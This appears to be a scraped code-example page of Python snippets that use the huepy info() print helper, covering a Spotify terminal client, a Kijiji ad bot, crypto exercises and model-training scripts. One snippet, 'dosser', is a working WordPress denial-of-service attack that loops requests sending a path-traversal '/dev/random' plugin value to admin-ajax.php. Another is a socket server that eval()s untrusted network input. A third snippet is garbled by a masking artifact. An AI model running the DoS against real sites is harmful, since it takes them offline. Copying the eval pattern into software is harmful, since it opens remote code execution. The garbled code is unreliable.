Пример #1
0
    def _(self, *arg, **kw):
        timeit = kw.pop('timeit', False)
        if not timeit:
            ret = func(self, *arg, **kw)
            if hasattr(ret, 'text'):
                try:
                    data = json.loads(ret.text)
                except:
                    data = ret.text
            else:
                data = ret

            if data:
                print info(purple('执行结果:'))

                print red(
                    unicode_to_utf8(json.dumps(
                        data, indent = 2, ensure_ascii = False
                    ))
                )
        else:
            st = time.time()
            for i in xrange(10000):
                func()
            print time.time() - st
Пример #2
0
def spotiterm():
    # While loop to always go back to menu after action performed.
    while (True):
        # Clear terminal.
        clear()
        # Prints menu options (See spotiterm_func.py)
        menu_options()
        user_input = input(info(green("Select a menu option: ")))
        if (user_input) == ("1"):
            clear()
            # Executes track_search(), passing in auth() return (sp object) into
            # it. Then browser_open() executes.
            browser_open(track_search(auth()))
        elif (user_input) == ("2"):
            clear()
            # Executes artist_top_10(), passing in auth() return (sp object).
            artist_top_10(auth())
        elif (user_input) == ("3"):
            clear()
            # Executes user_top_tracks(), user_auth() passed in to get username
            # and token for use. Scope passed in for user_auth().
            user_top_tracks(user_auth("user-top-read"))
        elif (user_input) == ("4"):
            clear()
            # Executes user_top_artist(), user_auth() passed in to get username
            # and token for use. Scope passed in for user_auth().
            user_top_artist(user_auth("user-top-read"))
        elif (user_input) == ("5"):
            clear()
            # Executes playlist_contents(), user_auth() passed in to get username
            # and token for use. Scope passed in for user_auth().
            playlist_contents(user_auth("playlist-read-private"))
        elif (user_input) == ("6"):
            clear()
            # Asks user if a public or private playlist is for tracks to be
            # removed or deleted from.
            public_private = input(info(green("Public or Private Playlist: ")))
            if (public_private) == ("Public"):
                public_scope = "playlist-modify-public"
                # Executes playlist(), user_auth() passed in to get username
                # and token for use. Scope passed in for user_auth().
                playlist(user_auth(public_scope))
            elif (public_private) == ("Private"):
                private_scope = "playlist-modify-private"
                # Executes playlist(), user_auth() passed in to get username
                # and token for use. Scope passed in for user_auth().
                playlist(user_auth(private_scope))
            else:
                print(green("Input a valid menu option."))
                sleep(2)
        elif (user_input) == ("7"):
            clear()
            player_controls(get_devices(user_auth("user-read-playback-state")))
        elif (user_input) == ("8"):
            clear()
            exit()
        else:
            # Catch invalid menu option input.
            print(green("Input a valid menu option."))
            sleep(2)
Пример #3
0
def dosser(id: int):
    global args
    with Session() as http:
        data = {
            "log": args.user,
            "pwd": args.passwd,
            "wp-submit": "Log+In",
            "redirect_to": "%2f",
            "testcookie": random.randint(10, 80)
        }

        if args.target.endswith("/"):
            args.target = args.target[:-1]

        r = http.post("%s/wp-login.php" % args.target,
                      headers={"User-Agent": randua()},
                      data=data)

        if r.status_code != 200:
            print(
                bad("Worker %d is unable to login with %s / %s" %
                    (id, args.user, args.passwd)))
            return

        print(info("Worker %d logged in" % id))
        version = None
        i = 0
        while not version and i < 5:
            r = http.get("%s/wp-admin/index.php" % args.target)
            version = re.findall(r"Version [0-9]+\.[0-9]+\.[0-9]+",
                                 r.content.decode())
            i += 1

        if not version:
            print(bad("Worker %d is down" % id))
            return

        _, version = version[0].split()
        major, minor, patch = [*map(int, version.split("."))]

        if major != 4 and (minor < 5 and major > 10):
            print(bad("Worker %d is down" % id))
            return

        print(info("Worker %d launched the dos" % id))
        data = {
            "plugin": "../../../../../../../../../../dev/random",
            "action": "update-plugin"
        }
        while True:
            http.post("%s/wp-admin/admin-ajax.php" % args.target, data=data)

        pass
    pass
Пример #4
0
def encryption_oracle(plain_text):
    plain_text_ext = append_random_bytes(plain_text)

    key = generate_aes_key()
    if randint(0, 1):
        cipher_text = aes128_ecb_encrypt(plain_text_ext, key)
        print(info(f"Oracle: {lpurple('ECB')}"))
    else:
        iv = generate_aes_key()
        cipher_text = aes128_cbc_encrypt(plain_text_ext, iv, key)
        print(info(f"Oracle: {lblue('CBC')}"))

    return cipher_text
Пример #5
0
def main():
    ##########
    # Step 1 #
    ##########
    # Get public urls for each episode using requests, and save all data to a local file.
    # capitol_links = get_capitol_links()  # old method
    saved_data = read_json_data()
    if len(saved_data) == 73:
        print(info("using saved data"))
        capitols = saved_data
        print(info(f"{len(capitols)} 'capitols' available"))
    else:
        print(info("getting 'capitols' from CCMA API..."))
        capitols = get_capitols_api()
        save_json_data(capitols)
        print(good(f"{len(capitols)} 'capitols' saved"))

    ##########
    # Step 2 #
    ##########
    # Obtain the hidden mp4 url of each episode.
    for capitol in capitols:
        url_mp4 = None
        try:
            if not capitol["url_mp4"]:
                # url_mp4 = selenium_parse(capitol["url"])  # old method using selenium
                url_mp4 = get_mp4_link_api(capitol["id"])
            else:
                print(good(f"capitol {capitol['capitol']} url_mp4 ok"))
                continue
        except KeyError:
            # url_mp4 = selenium_parse(capitol["url"])  # old method using selenium
            url_mp4 = get_mp4_link_api(capitol["id"])
        if url_mp4:
            capitol["url_mp4"] = url_mp4
            print(good(f"capitol {capitol['capitol']} url_mp4 ok"))
            save_json_data(capitols)
            print(info("data updated"))
        else:
            print(bad(f"error with url_mp4 capitol {capitol['capitol']}"))

    ##########
    # Step 3 #
    ##########
    # Download mp4 videos with wget
    for capitol in capitols:
        try:
            if capitol["url_mp4"]:
                download_mp4(capitol)
        except KeyError:
            pass
Пример #6
0
def add_del_track():
    try:
        print(
            info(
                green(
                    "Input one or more track(s): seperated by , if multiple")))
        # Input tracks, seperated by "," if multiple.
        track_ids = input(info(green("Tracks: "))).split(",")
        return track_ids
    # Exception here is unlikely however, basic handle has been done.
    except:
        print(
            green("""
                    add_del_track function failed.
                    Ensure you added , when adding more than one track."""))
        sleep(2)
Пример #7
0
    def process(self, data):
        print(hue.info("Processing packet ..."))

        # Check if the 802.15.4 packet is valid
        if makeFCS(data[:-2]) != data[-2:]:
            print(hue.bad("Invalid packet"))
            return

        # Parse 802.15.4 packet and extract RF4CE payload
        packet = Dot15d4FCS(data)

        if packet.fcf_frametype == 2:  # ACK
            return

        # Read source, dest, do not use key
        if packet.fcf_srcaddrmode == 3:
            source = Rf4ceNode(packet.src_addr, None)
            destination = Rf4ceNode(packet.dest_addr, None)
        else:
            source = Rf4ceNode(None, packet.src_addr)
            destination = Rf4ceNode(None, packet.dest_addr)
        key = None

        rf4ce_payload = bytes(packet[3].fields["load"])
        frame = Rf4ceFrame()

        try:
            frame.parse_from_string(rf4ce_payload, source, destination, key)
        except Rf4ceException, e:
            print(hue.bad("Cannot parse RF4CE frame: {}".format(e)))
            return
Пример #8
0
def next_previous(username_token, name_choice, id_choice):
    try:
        # Unpack returns from user_auth(): authentication.py
        username, token = username_token
        if token:
            # clear() to remove authentication text.
            clear()
            sp = spotipy.Spotify(auth=token)
            user_input = input(info(green("Next or Previous?: ")))
            if (user_input) == ("Next"):
                # Skip track.
                sp.next_track(device_id=id_choice)
                print(green(f" Track skipped on {name_choice}"))
                sleep(2)
            elif (user_input) == ("Previous"):
                try:
                    # Previous track.
                    sp.previous_track(device_id=id_choice)
                    print(green(f" Previous track on {name_choice}"))
                except spotipy.client.SpotifyException:
                    print(green("No previous track available."))
                    sleep(2)
            else:
                print(green("Input a valid menu option."))
                sleep(2)
        else:
            print(green(f"Can't get token for {username}"))
    except spotipy.client.SpotifyException as err:
        print(green(f"Failed to skip -- go to previous track: {err}"))
Пример #9
0
def set_volume(username_token, name_choice, id_choice):
    try:
        # Unpack returns from user_auth(): authentication.py
        username, token = username_token
        if token:
            # clear() to remove authentication text.
            clear()
            sp = spotipy.Spotify(auth=token)
            # Asks for volume input. String due to Hue function usage.
            volume = input(info(green("Volume: ")))
            # String input converted into integer.
            volume_int = int(volume)
            if (volume_int) >= (0) and (volume_int) <= (100):
                sp.volume(volume_int, device_id=id_choice)
                print(green(f" Volume set to {volume_int}% for {name_choice}"))
                sleep(2)
            else:
                print(green("Volume must be between 0 and 100 or equal to."))
                sleep(2)
        else:
            print(green(f"Can't get token for {username}"))
            sleep(2)
    except spotipy.client.SpotifyException as err:
        print(green(f"Failed to set volume: {err}"))
        sleep(2)
    except ValueError as err:
        print(green(f"Input only an integer: {err}"))
        sleep(2)
Пример #10
0
 def print_env(self):
     self.username = redis_pool.get(SKEY+'_username') or USERNAME
     self.password = redis_pool.get(SKEY+'_pwd') or PASSWORD
     self.host = redis_pool.get(SKEY+'_host') or HOST
     print info(purple('环境:'))
     print info(lightpurple(('username: %s' % self.username)))
     print info(lightpurple('password: %s' % self.password))
     print info(lightpurple('host:     %s' % self.host))
     print ''
Пример #11
0
def playlist(username_token):
    try:
        # Unpack returns from user_auth(): authentication.py
        username, token = username_token
        if token:
            # clear() to remove authentication text.
            clear()
            sp = spotipy.Spotify(auth=token)
            playlist_id = input(info(green("Please enter the Playlist ID: ")))
            add_delete = input(info(green("Add or Delete Tracks: ")))
            if (add_delete) == ("Add"):
                # Invokes add_del_track and stores return inside track_ids.
                track_ids = add_del_track()
                # Holds resp from function add tracks. Passes in track_ids
                # returned from add_del_track()
                sp.user_playlist_add_tracks(username, playlist_id, track_ids)
                # If successfull; print tracks added.
                print(green(" " "Track(s) Added."))
            elif (add_delete) == ("Delete"):
                # Holds resp from function add tracks. Passes in track_ids
                # returned from add_del_track()
                track_ids = add_del_track()
                sp.user_playlist_remove_all_occurrences_of_tracks(
                    username, playlist_id, track_ids)
                # Prints if successfull.
                print(green(" " "Track(s) Removed."))
            else:
                # If neither Add or Delete specified. Exit to main menu.
                print(green("Neither Add or Delete; Exiting to main menu."))
        else:
            print(green(f"Can't get token for {username}"))
            sleep(2)
        # Sleep to observe short output. Then exits to main menu.
        sleep(2)
    except spotipy.client.SpotifyException as err:
        print(green(f"Failed to Add // Delete Track(s): {err}"))
        sleep(2)
    except TypeError as err:
        print(
            green(f"""
                    Track Inputs Failed. Failed to get redirect URL from browser.
                    {err}
                    """))
        sleep(2)
Пример #12
0
def user_auth(scope):
    try:
        username = input(info(green("Spotify Username: "******".cache-{username}")
        return username, token
    except spotipy.oauth2.SpotifyOauthError as err:
        print(green(f"User Authentication Failed: {err}"))
        sleep(2)
Пример #13
0
def get_capitol_links():
    print(info("get capitol links from CCMA website"))
    capitol_links = set()
    for p in range(1, 6):
        raw_html = get_html(p)
        soup = BeautifulSoup(raw_html, "html.parser")
        raw_links = soup.find_all(href=plats_bruts)
        for link in raw_links:
            capitol_links.add(BASE_URL + link["href"])
    return list(capitol_links)
Пример #14
0
    def __clientTreading(self, ConnectionClient):

        self.__connections.append(ConnectionClient)
        print(huepy.info("A new processing thread has been opened"))
        affair = dict(eval(ConnectionClient.recv(9000000)))
        if affair['type'] == 'login':
            if os.path.exists('./flying/' + affair['database'] +
                              '/__init__.flying') and dict(
                                  eval(
                                      open('./flying/' + affair['database'] +
                                           '/__init__.flying',
                                           'r',
                                           encoding="utf-8").read())
                              )['name'] == affair['database']:
                if dict(
                        eval(
                            open('./flying/' + affair['database'] +
                                 '/__init__.flying',
                                 'r',
                                 encoding="utf-8").read())
                )['user'] == affair['user'] and dict(
                        eval(
                            open('./flying/' + affair['database'] +
                                 '/__init__.flying',
                                 'r',
                                 encoding="utf-8").read())
                )['password'] == affair['password']:
                    self.sha256Hash = hashlib.sha256(
                        str(random.randint(1, 3000)).encode('utf-8'))
                    self.__token.append(self.sha256Hash.hexdigest())
                    ConnectionClient.send(
                        str({
                            'type': 'token',
                            'token': self.sha256Hash.hexdigest()
                        }).encode('utf-8'))
                else:
                    ConnectionClient.send(
                        str({
                            'type': 'error',
                            'state': '1304'
                        }).encode('utf-8'))
            else:
                ConnectionClient.send(
                    str({
                        'type': 'error',
                        'state': '404'
                    }).encode('utf-8'))
        else:
            ConnectionClient.send(
                str({
                    'type': 'error',
                    'state': '403'
                }).encode('utf-8'))
            return False
Пример #15
0
    def Runing(self):
        try:
            os.mkdir('flying')
        except:
            pass

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.bind((self.host, self.port))
        self.socket.listen(self.maxlisten)
        print(huepy.info('[Server]Start Server'))
        print(
            huepy.info('[Server]Runing on ' + self.host + ':' +
                       str(self.port)))
        self.__connections.clear()
        self.__client.clear()
        self.__token.clear()
        while True:
            self.client_, self.addr_ = self.socket.accept()
            print('Connections:' + str(self.addr_))
            _thread.start_new_thread(self.__clientTreading, (self.client_, ))
Пример #16
0
    def __init__(self, **kwargs):
        self.headless = kwargs.get("headless", True)
        sec = "INITIALIZATION"
        # Setup profile
        firefox_profile = webdriver.FirefoxProfile()
        firefox_profile.set_preference("geo.enabled", False)
        firefox_profile.set_preference("geo.prompt.testing", True)
        firefox_profile.set_preference("geo.prompt.testing.allow", False)

        if self.headless is True:
            options = Options()
            options.headless = self.headless
            self.bot = webdriver.Firefox(firefox_profile=firefox_profile,
                                         options=options)
            logging.info(f"{sec} - Headless: {self.headless}")
            print(info(f"Bot Initialized headless"))
        else:
            self.bot = webdriver.Firefox(firefox_profile=firefox_profile)
            print(info("Bot initialized."))
            logging.info(f"{sec} - complete")
Пример #17
0
def resume_from_checkpoint(args, model, optimizer=None, lr_scheduler=None):
    load_name = args.resume
    checkpoint = torch.load(load_name)
    args.train.start_epoch = checkpoint['epoch']
    model.load_state_dict(checkpoint['model'])
    if optimizer is not None:
        optimizer.load_state_dict(checkpoint['optimizer'])
    if lr_scheduler is not None:
        lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])
    print(hue.good('loaded checkpoint %s' % (load_name)))
    print(hue.info('model was trained for %s epochs' % (args.train.start_epoch)))
    return args, model, optimizer, lr_scheduler
Пример #18
0
def validate(html, url, bot):
    sec = "VALIDATE"
    good_message = "You have successfully posted your ad!"
    if good_message in html:
        logging.info(f"{sec} - Ad was created succesfully")
        logging.info(f"{sec} - Ad URL: {url}")
        print(good("Ad was posted succesfully"))
        print(info(f"Ad URL: {url}"))
    else:
        logging.info(f"{sec} - Failed posting ad, dump file on server.")
        print(bad("There was an error posting the ad. Dumping HTML file."))
        dump_html(html)
        bot.get_screenshot_as_file('output.png')
Пример #19
0
    def nuke_ads(self):
        sec = "DELETE_ADS"
        bot = self.bot
        bot.get('https://www.kijiji.ca/m-my-ads/active')
        logging.info(f"{sec} Checking active ads for {self.username}")

        try:
            elem = bot.find_element_by_xpath(
                '/html/body/div[3]/div[4]/div/div/div/div[4]/ul')
            for i in elem.find_elements_by_css_selector('li'):
                if i.text == "Delete":
                    i.click()
                    logging.info(
                        f"{sec} Deleting an active ad for {self.username}")
                    print(info("Deleting an active ad."))
                    time.sleep(3)
                else:
                    logging.info(
                        f"{sec} No active ads to delete for {self.username}")
        except Exception:
            pass

        bot.get('https://www.kijiji.ca/m-my-ads/inactive')
        logging.info(f"{sec} Checking inactive ads for {self.username}")
        try:
            elem = bot.find_element_by_xpath(
                '/html/body/div[3]/div[4]/div/div/div/div[4]/ul')
            for i in elem.find_elements_by_css_selector('li'):
                if i.text == "Delete":
                    i.click()
                    logging.info(
                        f"{sec} Deleting an inactive ad for {self.username}")
                    print(info("Deleting an inactive ad."))
                    time.sleep(3)
                else:
                    logging.info(
                        f"{sec} No inactive ads to delete for {self.username}")
        except Exception:
            pass
Пример #20
0
def substitute_word(word, text, sound):
    print(REX.sub(r'\1[...]\3', text))
    guess = input('> ')
    if guess.lower() == REX.search(text).groups()[1].lower():
        print(huepy.good("it's right!"))
    elif guess.lower() == word.info.text.lower():
        print(huepy.info("right word, wrong form"))
    else:
        # https://youtu.be/oFlUCr42qzI
        print(huepy.bad("wrong!"))
    play(sound)
    print(text)
    input()
Пример #21
0
def get_devices(username_token):
    try:
        # Unpack returns from user_auth(): authentication.py
        username, token = username_token
        if token:
            # clear() to remove authentication text.
            clear()
            sp = spotipy.Spotify(auth=token)
            resp = sp.devices()
            # List objects.
            device_id_list = []
            device_name_list = []
            # For device names and ids in resp, append each to corresponding
            # list.
            for item, devices in enumerate(resp["devices"], 1):
                device_name_list.append(devices["name"])
                device_id_list.append(devices["id"])
                device_name = devices["name"]
                device_id = devices["id"]
                print(
                    green(
                        f" Device: {item} -- Name: {device_name} -- Device ID: {device_id}"
                    ))
            user_input = input(info(green("Select Device Number: ")))
            # Start from 0 due to python indexing starting at 0.
            # Support currently for only 4 devices. This is due to my own lack of knowledge.
            # Which ever device selected: Select data from corresponding lists.
            if (user_input) == ("1"):
                id_choice = device_id_list[0]
                name_choice = device_name_list[0]
            elif (user_input) == ("2"):
                id_choice = device_id_list[1]
                name_choice = device_name_list[1]
            elif (user_input) == ("3"):
                id_choice = device_id_list[2]
                name_choice = device_name_list[2]
            elif (user_input) == ("4"):
                id_choice = device_id_list[3]
                name_choice = device_name_list[3]
            return name_choice, id_choice
        else:
            print(green(f"Can't get token for {username}"))
            sleep(2)
    except spotipy.client.SpotifyException as err:
        print(green(f"Failed to get devices: {err}"))
        sleep(2)
    except UnboundLocalError as err:
        print(green(f"Please select a valid device: {err}"))
        sleep(2)
Пример #22
0
def main(new_args, get_model_fn):

    args = Nestedspace()
    args.load_from_json(osp.join(new_args.path, 'args.json'))
    args.from_dict(new_args.to_dict())  # override previous args

    device = torch.device(args.device)
    cudnn.benchmark = False

    print(
        hue.info(
            hue.bold(hue.lightgreen('Working directory: {}'.format(
                args.path)))))

    np.random.seed(args.seed)
    torch.manual_seed(args.seed)
    torch.cuda.manual_seed_all(args.seed)

    gallery_loader, probe_loader = get_data_loader(args, train=False)

    model = get_model_fn(args, training=False, pretrained_backbone=False)
    model.to(device)

    args.resume = osp.join(args.path, 'checkpoint.pth')
    args, model, _, _ = resume_from_checkpoint(args, model)

    name_to_boxes, all_feats, probe_feats = \
        inference(model, gallery_loader, probe_loader, device)

    print(hue.run('Evaluating detections:'))
    precision, recall = detection_performance_calc(gallery_loader.dataset,
                                                   name_to_boxes.values(),
                                                   det_thresh=0.01)

    print(hue.run('Evaluating search: '))
    gallery_size = 100 if args.dataset == 'CUHK-SYSU' else -1
    ret = gallery_loader.dataset.search_performance_calc(
        gallery_loader.dataset,
        probe_loader.dataset,
        name_to_boxes.values(),
        all_feats,
        probe_feats,
        det_thresh=0.5,
        gallery_size=gallery_size)

    # import IPython
    # IPython.embed()
    return ret['mAP']
Пример #23
0
def artist_top_10(sp):
    try:
        artist_name = input(info(green("What is the artist name: ")))
        # resp for searching artist name. Get top artist tracks.
        resp = sp.search(q=artist_name, limit=10)
        # int: 1 is passed to start from 1 instead of 0.
        for item, track in enumerate(resp["tracks"]["items"], 1):
            print(green(f" {item} {track['name']}"))
        # Sleep to observe above print.
        sleep(8)
    except spotipy.client.SpotifyException as err:
        print(green(f"Top 10 track lookup failed: {err}"))
        sleep(2)
    except spotipy.oauth2.SpotifyOauthError as err:
        print(green(f"Bad request. Check Client ID and Client S: {err}"))
        sleep(2)
Пример #24
0
    def pirate_propagate(self):
        # Add attackers
        attackers = self.sea_men[2:]
        if attackers:
            print(info("There be {} attackers".format(len(attackers))))

        if len(attackers) >= 4:
            for fighter in attackers:
                fighter.log("Yar har!")
                enemy_units = [u for u in self.player.opponent.units]
                self.attack_ship([fighter], enemy_units)
        else:
            for fighter in attackers:
                if not fighter.acted and fighter.moves:
                    fighter.log("Yar har?")
                    fighter.move(random.choice(fighter.neighbors_func(fighter.tile)))
Пример #25
0
def main(args, get_model_fn):

    if args.distributed:
        init_distributed_mode(args)
    device = torch.device(args.device)
    cudnn.benchmark = False
    np.random.seed(args.seed)
    torch.manual_seed(args.seed)
    torch.cuda.manual_seed_all(args.seed)

    if is_main_process():
        current_time = datetime.now().strftime('%b%d_%H-%M-%S')
        args.path = osp.join(args.path,
                             current_time + '_' + socket.gethostname())
        mkdir_if_missing(args.path)
        print(
            hue.info(
                hue.bold(
                    hue.lightgreen('Working directory: {}'.format(
                        args.path)))))
        if args.train.use_tfboard:
            tfboard = SummaryWriter(log_dir=args.path)
        args.export_to_json(osp.join(args.path, 'args.json'))
    else:
        tfboard = None

    train_loader = get_data_loader(args, train=True)

    model = get_model_fn(args, training=True, pretrained_backbone=True)
    model.to(device)

    optimizer = get_optimizer(args, model)
    lr_scheduler = get_lr_scheduler(args, optimizer)

    trainer = get_trainer(args, model, train_loader, optimizer, lr_scheduler,
                          device, tfboard)

    if args.debug:
        from lib.utils.debug_tools import get_rcnn_fg_bg_ratio
        trainer.add_event_handler(Events.STARTED,
                                  get_rcnn_fg_bg_ratio(args, model))

    trainer.run(train_loader, max_epochs=args.train.epochs)

    if is_main_process():
        tfboard.close()
Пример #26
0
Файл: how.py Проект: zhseasm/how
def command_line_runner():
    parser = get_parser()
    args = vars(parser.parse_args())

    command = "".join(args["command"]).lower()

    if args["version"]:
        print(huepy.info("how " + __version__))
        return

    if args["init"]:
        init_command()
        return

    if not args["command"]:
        parser.print_help()
        return

    how_to_use(command)
Пример #27
0
 def CreateDatabase(self, Databasename, Databaseuser, Databasepassword):
     self.databasenameokstr = [
         'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm',
         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
     ]
     self.databasenameok = False
     self.databasenamestrok = False
     for i in str(Databasename):
         for a in self.databasenameokstr:
             if a == i:
                 self.databasenamestrok = True
                 break
         if self.databasenamestrok == False:
             self.databasenameok = False
         elif self.databasenamestrok == True:
             self.databasenameok = True
     if self.databasenameok == False:
         print(huepy.bad('DatabaseNamee:' + Databasename + ' wrongful'))
         print(huepy.bad('Database can only be created in lowercase'))
         return False
     sha256Hash = hashlib.sha256(Databasepassword.encode("utf8"))
     try:
         os.mkdir('flying')
     except:
         pass
     try:
         os.mkdir('flying/' + Databasename)
     except:
         pass
     if os.path.exists('./flying/' + Databasename + '.flying'):
         print('Duplicate database name')
         return False
     with open('./flying/' + Databasename + '/__init__.flying',
               'w+',
               encoding="utf-8") as f:
         f.write(
             str({
                 'name': Databasename,
                 'user': Databaseuser,
                 'password': sha256Hash.hexdigest()
             }))
     print(huepy.info('Created in relative path ./flying'))
     return True
Пример #28
0
    def destruct_response(cls, response: ty.Dict[str, ty.Any]) -> VKAPIError:
        """Разбирает ответ от вк про некорректный API запрос
        на части и инициализирует сам объект исключения

        Args:
          response: ty.Dict[str:
          ty.Any]:
          response: ty.Dict[str:

        Returns:

        """
        status_code = response["error"].pop("error_code")
        description = response["error"].pop("error_msg")
        request_params = response["error"].pop("request_params")
        request_params = {
            item["key"]: item["value"]
            for item in request_params
        }

        pretty_exception_text = (huepy.red(f"\n[{status_code}]") +
                                 f" {description}\n\n" +
                                 huepy.grey("Request params:"))

        for key, value in request_params.items():
            key = huepy.yellow(key)
            value = huepy.cyan(value)
            pretty_exception_text += f"\n{key} = {value}"

        # Если остались дополнительные поля
        if response["error"]:
            pretty_exception_text += (
                "\n\n" + huepy.info("There are some extra fields:\n") +
                str(response["error"]))

        return cls(
            pretty_exception_text=pretty_exception_text,
            description=description,
            status_code=status_code,
            request_params=request_params,
            extra_fields=response["error"],
        )
Пример #29
0
def get_mp4_link_api(capitol_id):
    api_url = f"{DINAMICS_API}/pvideo/media.jsp?media=video&idint={capitol_id}"
    api_response = requests.get(api_url)
    json = api_response.json()
    try:
        mp4_links = json["variants"]["media"]["url"]
    except KeyError:
        mp4_links = json["media"]["url"]
    try:
        max_resolution = str(
            max([int(link["label"][:-1]) for link in mp4_links])) + "p"
        url_mp4 = [
            link["file"] for link in mp4_links
            if max_resolution in link["label"]
        ][0]
    except Exception:
        url_mp4 = None
    if url_mp4:
        print(info(f"video url disclossed with {max_resolution}"))
        print(bold(url_mp4))
    return url_mp4
Пример #30
0
def seek_track(username_token, name_choice, id_choice):
    try:
        # Unpack returns from user_auth(): authentication.py
        username, token = username_token
        if token:
            sp = spotipy.Spotify(auth=token)
            # clear() to remove authentication text.
            clear()
            progress_input = input(info(green("Skip to? (ms): ")))
            # Convert input to int.
            progress_int = int(progress_input)
            sp.seek_track(progress_int, device_id=id_choice)
            print(green(f" Track seeked to {progress_int}ms on {name_choice}"))
            sleep(2)
        else:
            print(green(f"Can't get token for {username}"))
    except spotipy.client.SpotifyException as err:
        print(green(f"Failed to seek to point on track: {err}"))
        sleep(2)
    except ValueError as err:
        print(green(f"Input only an integer: {err}"))
        sleep(2)